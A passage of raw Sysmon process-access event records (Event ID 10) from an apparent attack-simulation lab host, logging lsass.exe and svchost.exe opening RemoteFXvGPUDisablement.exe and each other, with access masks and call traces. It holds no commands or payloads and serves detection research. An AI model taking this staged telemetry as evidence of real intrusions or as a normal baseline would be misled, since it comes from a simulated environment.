C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.000","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001054400100}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":999,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.000\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001054400100}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.000","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001054400100}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1000,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001054400100}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001054400100}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1001,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1002,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1003,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1004,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1005,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1006,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 